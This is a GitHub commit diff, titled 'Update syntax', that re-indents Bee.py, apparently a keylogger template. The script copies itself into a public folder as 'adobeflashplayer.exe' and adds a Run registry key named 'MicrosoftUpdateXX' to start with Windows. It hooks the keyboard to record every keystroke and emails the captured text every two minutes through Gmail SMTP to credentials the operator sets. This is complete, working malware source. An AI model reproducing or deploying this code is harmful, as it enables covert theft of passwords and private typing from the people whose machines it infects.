Skip to content

Commit 09f9d37

Browse files
author
franklin
committed
Update syntax
1 parent 4b9dcb4 commit 09f9d37

File tree

1 file changed

+65
-65
lines changed

1 file changed

+65
-65
lines changed

Templates/Bee.py

Lines changed: 65 additions & 65 deletions
Original file line numberDiff line numberDiff line change
@@ -14,85 +14,85 @@
1414

1515
ironm = win32event.CreateMutex(None, 1, 'NOSIGN')
1616
if win32api.GetLastError() == winerror.ERROR_ALREADY_EXISTS:
17-
ironm = None
18-
print "nope"
19-
sys.exit()
17+
ironm = None
18+
print "nope"
19+
sys.exit()
2020

2121
x, data, count= '', '', 0
2222

2323
dir = r"C:\Users\Public\Libraries\adobeflashplayer.exe"
2424

2525
def startup():
26-
shutil.copy(sys.argv[0], dir)
27-
aReg = ConnectRegistry(None, HKEY_CURRENT_USER)
28-
aKey = OpenKey(aReg, r"SOFTWARE\Microsoft\Windows\CurrentVersion\Run", 0, KEY_WRITE)
29-
SetValueEx(aKey,"MicrosoftUpdateXX", 0, REG_SZ, dir)
26+
shutil.copy(sys.argv[0], dir)
27+
aReg = ConnectRegistry(None, HKEY_CURRENT_USER)
28+
aKey = OpenKey(aReg, r"SOFTWARE\Microsoft\Windows\CurrentVersion\Run", 0, KEY_WRITE)
29+
SetValueEx(aKey,"MicrosoftUpdateXX", 0, REG_SZ, dir)
3030
if not path.isfile(dir):
31-
startup()
31+
startup()
3232

33-
33+
3434
def send_mail():
35-
global data
36-
while True:
37-
if len(data) > 30:
38-
timeInSecs = datetime.datetime.now()
39-
SERVER = "smtp.gmail.com"
40-
PORT = 587
41-
USER = EEMAIL
42-
PASS = EPASS
43-
FROM = USER
44-
TO = [USER]
45-
SUBJECT = "B33: " + timeInSecs.isoformat()
46-
MESSAGE = data
35+
global data
36+
while True:
37+
if len(data) > 30:
38+
timeInSecs = datetime.datetime.now()
39+
SERVER = "smtp.gmail.com"
40+
PORT = 587
41+
USER = EEMAIL
42+
PASS = EPASS
43+
FROM = USER
44+
TO = [USER]
45+
SUBJECT = "B33: " + timeInSecs.isoformat()
46+
MESSAGE = data
4747

48-
message_payload = "\r\n".join((
49-
"From: %s" %FROM,
50-
"To: %s" %TO,
51-
"Subject: %s" %SUBJECT,
52-
"",
53-
MESSAGE))
54-
try:
55-
server = smtplib.SMTP()
56-
server.connect(SERVER, PORT)
57-
server.starttls()
58-
server.login(USER, PASS)
59-
server.sendmail(FROM, TO, message_payload)
60-
data = ''
61-
server.quit()
62-
except Exception as error:
63-
print error
64-
sleep(120)
65-
48+
message_payload = "\r\n".join((
49+
"From: %s" %FROM,
50+
"To: %s" %TO,
51+
"Subject: %s" %SUBJECT,
52+
"",
53+
MESSAGE))
54+
try:
55+
server = smtplib.SMTP()
56+
server.connect(SERVER, PORT)
57+
server.starttls()
58+
server.login(USER, PASS)
59+
server.sendmail(FROM, TO, message_payload)
60+
data = ''
61+
server.quit()
62+
except Exception as error:
63+
print error
64+
sleep(120)
65+
6666

6767
if __name__ == '__main__':
68-
triggerThread = Thread(target=send_mail)
69-
triggerThread.start()
68+
triggerThread = Thread(target=send_mail)
69+
triggerThread.start()
7070

7171
def pushing(event):
72-
global data
73-
keys = {
74-
13: ' [ENTER] ',
75-
8: ' [BACKSPACE] ',
76-
162: ' [CTRL] ',
77-
163: ' [CTRL] ',
78-
164: ' [ALT] ',
79-
165: ' [ALT] ',
80-
160: ' [SHIFT] ',
81-
161: ' [SHIFT] ',
82-
46: ' [DELETE] ',
83-
32: ' [SPACE] ',
84-
27: ' [ESC] ',
85-
9: ' [TAB] ',
86-
20: ' [CAPSLOCK] ',
87-
38: ' [UP] ',
88-
40: ' [DOWN] ',
89-
37: ' [LEFT] ',
90-
39: ' [RIGHT] ',
91-
91: ' [SUPER] '
92-
}
93-
keyboardKeyName = keys.get(event.Ascii, chr(event.Ascii))
94-
data += keyboardKeyName
95-
72+
global data
73+
keys = {
74+
13: ' [ENTER] ',
75+
8: ' [BACKSPACE] ',
76+
162: ' [CTRL] ',
77+
163: ' [CTRL] ',
78+
164: ' [ALT] ',
79+
165: ' [ALT] ',
80+
160: ' [SHIFT] ',
81+
161: ' [SHIFT] ',
82+
46: ' [DELETE] ',
83+
32: ' [SPACE] ',
84+
27: ' [ESC] ',
85+
9: ' [TAB] ',
86+
20: ' [CAPSLOCK] ',
87+
38: ' [UP] ',
88+
40: ' [DOWN] ',
89+
37: ' [LEFT] ',
90+
39: ' [RIGHT] ',
91+
91: ' [SUPER] '
92+
}
93+
keyboardKeyName = keys.get(event.Ascii, chr(event.Ascii))
94+
data += keyboardKeyName
95+
9696
hookManager = pyHook.HookManager()
9797
hookManager.KeyDown = pushing
9898
hookManager.HookKeyboard()

0 commit comments

Comments
 (0)